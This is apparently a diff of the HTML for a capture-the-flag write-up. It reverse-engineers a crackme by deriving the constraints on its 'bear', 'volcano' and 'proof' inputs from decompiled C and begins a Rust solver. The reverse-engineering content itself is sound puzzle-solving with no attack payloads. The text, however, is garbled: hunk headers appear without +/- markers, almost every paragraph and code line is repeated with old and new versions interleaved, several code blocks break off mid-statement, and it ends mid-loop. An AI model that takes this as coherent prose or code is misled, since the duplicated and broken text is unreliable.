I will try to make this more sensible by selecting the generated identifiers, then renaming (pressing <code>L</code>) and retyping (<code>Ctrl</code> <code>L</code>).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>int</span> <span style=color:#a6e22e>main</span>(<span style=color:#66d9ef>void</span>)
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#66d9ef>bool</span> ok;
@@ -99,42 +99,42 @@ I will try to make this more sensible by selecting the generated identifiers, th
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> ret;
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The program asks for an unsigned long integer as a bear. It calls a subroutine to process the integer
and stores the result in the <code>ok</code> variable.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>printf</span>(<span style=color:#e6db74>&#34;Give me a bear: &#34;</span>);
and stores the result in the <code>ok</code> variable.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>printf</span>(<span style=color:#e6db74>&#34;Give me a bear: &#34;</span>);
</span></span><span style=display:flex><span>bear <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span><span style=display:flex><span><span style=color:#a6e22e>scanf</span>(<span style=color:#e6db74>&#34;%llu&#34;</span>,<span style=color:#f92672>&amp;</span>bear);
</span></span><span style=display:flex><span>ok <span style=color:#f92672>=</span> <span style=color:#a6e22e>process_bear</span>(bear);
</span></span></code></pre></div><p>The next block only executes when <code>ok</code> is true.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>if</span> (ok) {
</span></span></code></pre></div><p>The next block only executes when <code>ok</code> is true.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>if</span> (ok) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Inside this block, the program for another unsigned long integer as before but calls it a volcano, running
a check specific to this input.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>printf</span>(<span style=color:#e6db74>&#34;Give me a volcano: &#34;</span>);
a check specific to this input.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>printf</span>(<span style=color:#e6db74>&#34;Give me a volcano: &#34;</span>);
</span></span><span style=display:flex><span>volcano <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span><span style=display:flex><span><span style=color:#a6e22e>scanf</span>(<span style=color:#e6db74>&#34;%llu&#34;</span>,<span style=color:#f92672>&amp;</span>volcano);
</span></span><span style=display:flex><span>_ok <span style=color:#f92672>=</span> <span style=color:#a6e22e>process_volcano</span>(volcano);
</span></span></code></pre></div><p>The next conditional block executes when this <code>process_volcano</code> subroutine return true.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>if</span> (_ok) {
</span></span></code></pre></div><p>The next conditional block executes when this <code>process_volcano</code> subroutine return true.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>if</span> (_ok) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The program then asks for another unsigned long integer as a proof for the <em>&ldquo;volcano&rdquo;</em> and the <em>&ldquo;bear&rdquo;</em> being the same.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>printf</span>(<span style=color:#e6db74>&#34;Prove to me they are the same: &#34;</span>);
</span></span></code></pre></div><p>The program then asks for another unsigned long integer as a proof for the <em>&ldquo;volcano&rdquo;</em> and the <em>&ldquo;bear&rdquo;</em> being the same.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>printf</span>(<span style=color:#e6db74>&#34;Prove to me they are the same: &#34;</span>);
</span></span><span style=display:flex><span>proof <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span><span style=display:flex><span>leet <span style=color:#f92672>=</span> <span style=color:#ae81ff>0x1337</span>;
</span></span><span style=display:flex><span><span style=color:#a6e22e>scanf</span>(<span style=color:#e6db74>&#34;%llu&#34;</span>,<span style=color:#f92672>&amp;</span>proof);
</span></span></code></pre></div><p>If the proof value&rsquo;s last bit (<code>proof & 1</code>) is 0, meaning if the proof is even or it is 1, we get the bad ending
that says, &ldquo;That&rsquo;s not a valid proof!&rdquo;</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>if</span> (((proof <span style=color:#f92672>&amp;</span> <span style=color:#ae81ff>1</span>) <span style=color:#f92672>==</span> <span style=color:#ae81ff>0</span>) <span style=color:#f92672>||</span> (proof <span style=color:#f92672>==</span> <span style=color:#ae81ff>1</span>)) {
that says, &ldquo;That&rsquo;s not a valid proof!&rdquo;</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>if</span> (((proof <span style=color:#f92672>&amp;</span> <span style=color:#ae81ff>1</span>) <span style=color:#f92672>==</span> <span style=color:#ae81ff>0</span>) <span style=color:#f92672>||</span> (proof <span style=color:#f92672>==</span> <span style=color:#ae81ff>1</span>)) {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>puts</span>(<span style=color:#e6db74>&#34;That</span><span style=color:#ae81ff>\&#39;</span><span style=color:#e6db74>s not a valid proof!&#34;</span>);
</span></span><span style=display:flex><span> ret <span style=color:#f92672>=</span> <span style=color:#ae81ff>1</span>;
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>For the good ending, we check what&rsquo;s in the <code>else</code> block.</p><p>Here, I have renamed two functions to <code>n_digits</code> and <code>sum_of_digits</code> because that is exactly what they do.
There&rsquo;s nothing worth explaining about them in particular but you may check them if you are following along.</p><p>First we need the number of digits in the volcano and bear digits to be equal.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span>n_volcano <span style=color:#f92672>=</span> <span style=color:#a6e22e>n_digits</span>(volcano);
There&rsquo;s nothing worth explaining about them in particular but you may check them if you are following along.</p><p>First we need the number of digits in the volcano and bear digits to be equal.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span>n_volcano <span style=color:#f92672>=</span> <span style=color:#a6e22e>n_digits</span>(volcano);
</span></span><span style=display:flex><span>n_bear <span style=color:#f92672>=</span> <span style=color:#a6e22e>n_digits</span>(bear);
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> (n_volcano <span style=color:#f92672>==</span> n_bear) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span> }
</span></span></code></pre></div><p>Our second constraint is that the sum of the digits must equal for the volcano and the bear.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span>n_volcano <span style=color:#f92672>=</span> <span style=color:#a6e22e>sum_of_digits</span>(volcano);
</span></span></code></pre></div><p>Our second constraint is that the sum of the digits must equal for the volcano and the bear.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span>n_volcano <span style=color:#f92672>=</span> <span style=color:#a6e22e>sum_of_digits</span>(volcano);
</span></span><span style=display:flex><span>n_bear <span style=color:#f92672>=</span> <span style=color:#a6e22e>sum_of_digits</span>(bear);
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> (n_volcano <span style=color:#f92672>==</span> n_bear) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Finally the happy ending happens when the result of a proof checking function is the same for both the numbers.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span>m_v <span style=color:#f92672>=</span> <span style=color:#a6e22e>check_proof</span>(leet,volcano,proof);
</span></span></code></pre></div><p>Finally the happy ending happens when the result of a proof checking function is the same for both the numbers.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span>m_v <span style=color:#f92672>=</span> <span style=color:#a6e22e>check_proof</span>(leet,volcano,proof);
</span></span><span style=display:flex><span>m_b <span style=color:#f92672>=</span> <span style=color:#a6e22e>check_proof</span>(leet,bear,proof);
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> (m_v <span style=color:#f92672>==</span> m_b) {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>puts</span>(<span style=color:#e6db74>&#34;That looks right to me!&#34;</span>);
@@ -144,7 +144,7 @@ There&rsquo;s nothing worth explaining about them in particular but you may chec
</span></span><span style=display:flex><span> ret <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>goto</span> LAB_00101740;
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Now, I will visit the functions that I had glossed over earlier.</p><h3 id=process_bear><code>process_bear</code></h3><p>The decompilation looks like the following after some renaming and cleanup.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>bool</span> <span style=color:#a6e22e>process_bear</span>(ulong b) {
</span></span></code></pre></div><p>Now, I will visit the functions that I had glossed over earlier.</p><h3 id=process_bear><code>process_bear</code></h3><p>The decompilation looks like the following after some renaming and cleanup.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>bool</span> <span style=color:#a6e22e>process_bear</span>(ulong b) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> ((b <span style=color:#f92672>&amp;</span> <span style=color:#ae81ff>1</span>) <span style=color:#f92672>==</span> <span style=color:#ae81ff>0</span>) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> (b <span style=color:#f92672>%</span> <span style=color:#ae81ff>3</span> <span style=color:#f92672>==</span> <span style=color:#ae81ff>2</span>) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> (b <span style=color:#f92672>%</span> <span style=color:#ae81ff>5</span> <span style=color:#f92672>==</span> <span style=color:#ae81ff>1</span>) {
@@ -162,8 +162,8 @@ There&rsquo;s nothing worth explaining about them in particular but you may chec
The function only returns true when all of the following conditions are met by the number:</p><ul><li>The last bit is zero (<code>b & 1 == 0</code>), meaning, it is even.</li><li>When divided by 3, yields the remainder of 2.</li><li>When divided by 5, yields the remainder of 1.</li><li>When divided by 0x6d, yields the remainder of 0x37.</li><li>The madness that is <code>b + ((b - b / 7 >> 1) + b / 7 >> 2) * -7 == 3</code></li></ul><p>Okay, calm down, the last part is not very hard to decipher. Let&rsquo;s work it out piece by piece.</p><p>The right shift operation (<code>>></code>) implies division by 2 to the power of something. So the innermost parenthetic expression
<code>b - b / 7 >> 1</code> means to divide <code>b - b / 7</code> by 2 to the power of 1.</p><p>When considered as a purely mathematical expression, we can perform the following simplification.</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>b</mi><mo></mo><mn>7</mn><mo>×</mo><mfrac><mn>1</mn><msup><mn>2</mn><mn>2</mn></msup></mfrac><mo stretchy="false">(</mo><mfrac><mn>1</mn><msup><mn>2</mn><mn>1</mn></msup></mfrac><mo stretchy="false">(</mo><mi>b</mi><mo></mo><mfrac><mi>b</mi><mn>7</mn></mfrac><mo stretchy="false">)</mo><mo>+</mo><mfrac><mi>b</mi><mn>7</mn></mfrac><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> b - 7 \times \frac{1}{2^2}(\frac{1}{2^1}(b-\frac{b}{7}) + \frac{b}{7}) </annotation></semantics></math></span><p></p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo>=</mo><mi>b</mi><mo></mo><mfrac><mn>7</mn><mn>4</mn></mfrac><mo stretchy="false">(</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mo stretchy="false">(</mo><mfrac><mrow><mn>6</mn><mi>b</mi></mrow><mn>7</mn></mfrac><mo stretchy="false">)</mo><mo>+</mo><mfrac><mi>b</mi><mn>7</mn></mfrac><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> = b - \frac{7}{4}(\frac{1}{2}(\frac{6b}{7}) + \frac{b}{7}) </annotation></semantics></math></span><p></p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo>=</mo><mi>b</mi><mo></mo><mfrac><mn>7</mn><mn>4</mn></mfrac><mo stretchy="false">(</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mo>×</mo><mfrac><mrow><mn>6</mn><mi>b</mi></mrow><mn>7</mn></mfrac><mo>+</mo><mfrac><mi>b</mi><mn>7</mn></mfrac><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> = b - \frac{7}{4}(\frac{1}{2} \times \frac{6b}{7} + \frac{b}{7}) </annotation></semantics></math></span><p></p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo>=</mo><mi>b</mi><mo></mo><mfrac><mn>7</mn><mn>4</mn></mfrac><mo stretchy="false">(</mo><mfrac><mrow><mn>3</mn><mi>b</mi></mrow><mn>7</mn></mfrac><mo>+</mo><mfrac><mi>b</mi><mn>7</mn></mfrac><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> = b - \frac{7}{4}(\frac{3b}{7} + \frac{b}{7}) </annotation></semantics></math></span><p></p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo>=</mo><mi>b</mi><mo></mo><mfrac><mn>7</mn><mn>4</mn></mfrac><mo stretchy="false">(</mo><mfrac><mrow><mn>4</mn><mi>b</mi></mrow><mn>7</mn></mfrac><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> = b - \frac{7}{4}(\frac{4b}{7}) </annotation></semantics></math></span><p>We can cancel the 4s in the numerator since they were results of the shift operations.</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo>=</mo><mi>b</mi><mo></mo><mn>7</mn><mo>×</mo><mfrac><mi>b</mi><mn>7</mn></mfrac></mrow><annotation encoding="application/x-tex"> = b - 7 \times \frac{b}{7} </annotation></semantics></math></span><p>However, we cannot cancel out the 7s since they were part of the C division.
Remember, the divison operation in C results in the truncated integer quotient, not a floating point number.
This means <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7</mn><mo>×</mo><mfrac><mi>b</mi><mn>7</mn></mfrac></mrow><annotation encoding="application/x-tex"> 7 \times \frac{b}{7} </annotation></semantics></math></span> here gives us the largest multiple of 7 below <code>b</code>.</p><p>Another way to think of it is the part of <code>b</code> that is divisible by 7, leaving out the remainder.</p><p>When we subtract this from the original number, we get what was left out, the remainder itself!</p><p>The entire condition simplifies to:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span>b <span style=color:#f92672>%</span> <span style=color:#ae81ff>7</span> <span style=color:#f92672>==</span> <span style=color:#ae81ff>3</span>
</span></span></code></pre></div><p>This will be another constraint for the <code>bear</code> number.</p><h3 id=process_volcano><code>process_volcano</code></h3><p>The decompilation after renames and cleanups looks like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>bool</span> <span style=color:#a6e22e>process_volcano</span>(<span style=color:#66d9ef>uint64_t</span> v) {
This means <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7</mn><mo>×</mo><mfrac><mi>b</mi><mn>7</mn></mfrac></mrow><annotation encoding="application/x-tex"> 7 \times \frac{b}{7} </annotation></semantics></math></span> here gives us the largest multiple of 7 below <code>b</code>.</p><p>Another way to think of it is the part of <code>b</code> that is divisible by 7, leaving out the remainder.</p><p>When we subtract this from the original number, we get what was left out, the remainder itself!</p><p>The entire condition simplifies to:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span>b <span style=color:#f92672>%</span> <span style=color:#ae81ff>7</span> <span style=color:#f92672>==</span> <span style=color:#ae81ff>3</span>
</span></span></code></pre></div><p>This will be another constraint for the <code>bear</code> number.</p><h3 id=process_volcano><code>process_volcano</code></h3><p>The decompilation after renames and cleanups looks like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>bool</span> <span style=color:#a6e22e>process_volcano</span>(<span style=color:#66d9ef>uint64_t</span> v) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>uint64_t</span> total_bits <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> (<span style=color:#66d9ef>uint64_t</span> i <span style=color:#f92672>=</span> v; i <span style=color:#f92672>!=</span> <span style=color:#ae81ff>0</span>; i <span style=color:#f92672>=</span> i <span style=color:#f92672>&gt;&gt;</span> <span style=color:#ae81ff>1</span>) {
</span></span><span style=display:flex><span> total_bits <span style=color:#f92672>=</span> total_bits <span style=color:#f92672>+</span> (i <span style=color:#f92672>&amp;</span> <span style=color:#ae81ff>1</span>);
@@ -174,7 +174,7 @@ This means <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><s
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> false;
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Here the program loops over the bits in the number supplied and counts the ones that are high.
The function only returns a true value when the total number of high bits is between 17 (0x11, inclusive) and 27 (0x1b, exclusive).</p><p>This is a constraint for the <code>volcano</code> number.</p><h3 id=check_proof><code>check_proof</code></h3><p>As usual, I have cleaned some of the code, renamed a bunch of variables for them to make sense.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>uint64_t</span> <span style=color:#a6e22e>check_proof</span>(<span style=color:#66d9ef>uint64_t</span> leet, <span style=color:#66d9ef>uint64_t</span> v, <span style=color:#66d9ef>uint64_t</span> proof) {
The function only returns a true value when the total number of high bits is between 17 (0x11, inclusive) and 27 (0x1b, exclusive).</p><p>This is a constraint for the <code>volcano</code> number.</p><h3 id=check_proof><code>check_proof</code></h3><p>As usual, I have cleaned some of the code, renamed a bunch of variables for them to make sense.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>uint64_t</span> <span style=color:#a6e22e>check_proof</span>(<span style=color:#66d9ef>uint64_t</span> leet, <span style=color:#66d9ef>uint64_t</span> v, <span style=color:#66d9ef>uint64_t</span> proof) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>uint64_t</span> ret <span style=color:#f92672>=</span> <span style=color:#ae81ff>1</span>, mod <span style=color:#f92672>=</span> leet <span style=color:#f92672>%</span> proof;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> (<span style=color:#66d9ef>uint64_t</span> i <span style=color:#f92672>=</span> v; i <span style=color:#f92672>!=</span> <span style=color:#ae81ff>0</span>; i <span style=color:#f92672>=</span> i <span style=color:#f92672>&gt;&gt;</span> <span style=color:#ae81ff>1</span>) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> (i <span style=color:#f92672>&amp;</span> <span style=color:#ae81ff>1</span>) {
@@ -189,18 +189,18 @@ variable leet since 0x1337 is the only number supplied as the argument throughou
Otherwise, the <code>mod</code> variable gets assigned itself squared, modulo the proof.</p><p>Recall that the result of this function must be equal for both the <code>volcano</code> and the <code>bear</code> number.</p><p>How do we make sure that the results are equal if there is so much of pseudo-randomness involved?</p><p>Our best option is to somehow have the <code>mod</code> variable as 1 since anything times 1 is itself.
The return value in such a case is bound to its initial value of 1 for any non-zero proof value.</p><p>For this to happen, <code>leet % proof</code> must be equal to 1. Let&rsquo;s call the proof <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span>.<br>With 0x1337 being the only value passed as <code>leet</code>,
we have the constraint</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mn>0</mn><mi>x</mi><mn>1337</mn><mo></mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">0x1337 \equiv 1 \pmod{p}</annotation></semantics></math></span><p>Let&rsquo;s convert the hexadecimal number to decimal.</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mn>4919</mn><mo></mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">4919 \equiv 1 \pmod{p}</annotation></semantics></math></span><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mtext></mtext><mo></mo><mtext></mtext><mn>4919</mn><mo></mo><mn>1</mn><mo></mo><mn>0</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\implies 4919 - 1 \equiv 0 \pmod{p}</annotation></semantics></math></span><p></p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mtext></mtext><mo></mo><mtext></mtext><mn>4918</mn><mo></mo><mn>0</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\implies 4918 \equiv 0 \pmod{p}</annotation></semantics></math></span><p>Earlier, we noted that the proof value cannot be 1 and it cannot be even.<br>It is of the form <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mi>n</mi><mo>+</mo><mn>1</mn><mo separator="true">,</mo><mi>n</mi><mo></mo><mi mathvariant="double-struck">N</mi></mrow><annotation encoding="application/x-tex"> 2n + 1, n \in \mathbb{N} </annotation></semantics></math></span></p><p>Thus, we need an odd proof value that divides 4918 without leaving any remainder.</p><p>The number 2 divides 4918 to give 2459, a prime number.</p><p>This implies, 2 and 2459 are the prime factors of 4918. Since 2 is even, we will choose <strong>2459</strong> as the proof value.</p><h2 id=solving-for-the-volcano-and-the-bear>Solving for the <code>volcano</code> and the <code>bear</code></h2><p>I will be writing a little Rust program to solve for the remaining constraints.</p><p>We know that the <code>volcano</code> number must have at least 17 high bits and at most 27 high bits. Hence, we will begin by
generating numbers that have 17 high bits and 1 low bit.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> ones <span style=color:#f92672>=</span> <span style=color:#ae81ff>17</span>;
generating numbers that have 17 high bits and 1 low bit.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> ones <span style=color:#f92672>=</span> <span style=color:#ae81ff>17</span>;
</span></span><span style=display:flex><span><span style=color:#66d9ef>let</span> bits <span style=color:#f92672>=</span> ones <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>;
</span></span><span style=display:flex><span><span style=color:#66d9ef>let</span> volcanos <span style=color:#f92672>=</span> (<span style=color:#ae81ff>0</span><span style=color:#f92672>..</span>bits)
</span></span><span style=display:flex><span> .map(<span style=color:#f92672>|</span>position<span style=color:#f92672>|</span> (<span style=color:#ae81ff>1</span> <span style=color:#f92672>&lt;&lt;</span> position) <span style=color:#f92672>^</span> ((<span style=color:#ae81ff>1</span> <span style=color:#f92672>&lt;&lt;</span> bits) <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>))
</span></span><span style=display:flex><span> .collect::<span style=color:#f92672>&lt;</span>Vec<span style=color:#f92672>&lt;</span><span style=color:#66d9ef>i32</span><span style=color:#f92672>&gt;&gt;</span>();
</span></span></code></pre></div><p>This gives us numbers that have a binary representation like:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#ae81ff>111111111111111110</span>
</span></span></code></pre></div><p>This gives us numbers that have a binary representation like:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#ae81ff>111111111111111110</span>
</span></span><span style=display:flex><span><span style=color:#ae81ff>111111111111111101</span>
</span></span><span style=display:flex><span><span style=color:#ae81ff>111111111111111011</span>
</span></span><span style=display:flex><span><span style=color:#ae81ff>111111111111110111</span>
</span></span><span style=display:flex><span><span style=color:#75715e>// and so on
</span></span></span></code></pre></div><p>For any of these numbers we wish to find a <code>bear</code> number that:</p><ul><li>is even</li><li>yields the remainder of 2 when divided by 3</li><li>yields the remainder of 1 when divided by 5</li><li>yields the remainder of 3 when divided by 7</li><li>yields the remainder of 55 when divided by 109</li><li>has the same number of digits as the <code>volcano</code></li><li>has the same sum of digits as the <code>volcano</code></li></ul><p>The naive, inefficient solution would be to loop from 1 to infinity and check for each condition manually.
The code would look like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> bear <span style=color:#66d9ef>in</span> <span style=color:#ae81ff>1</span><span style=color:#f92672>..</span> {
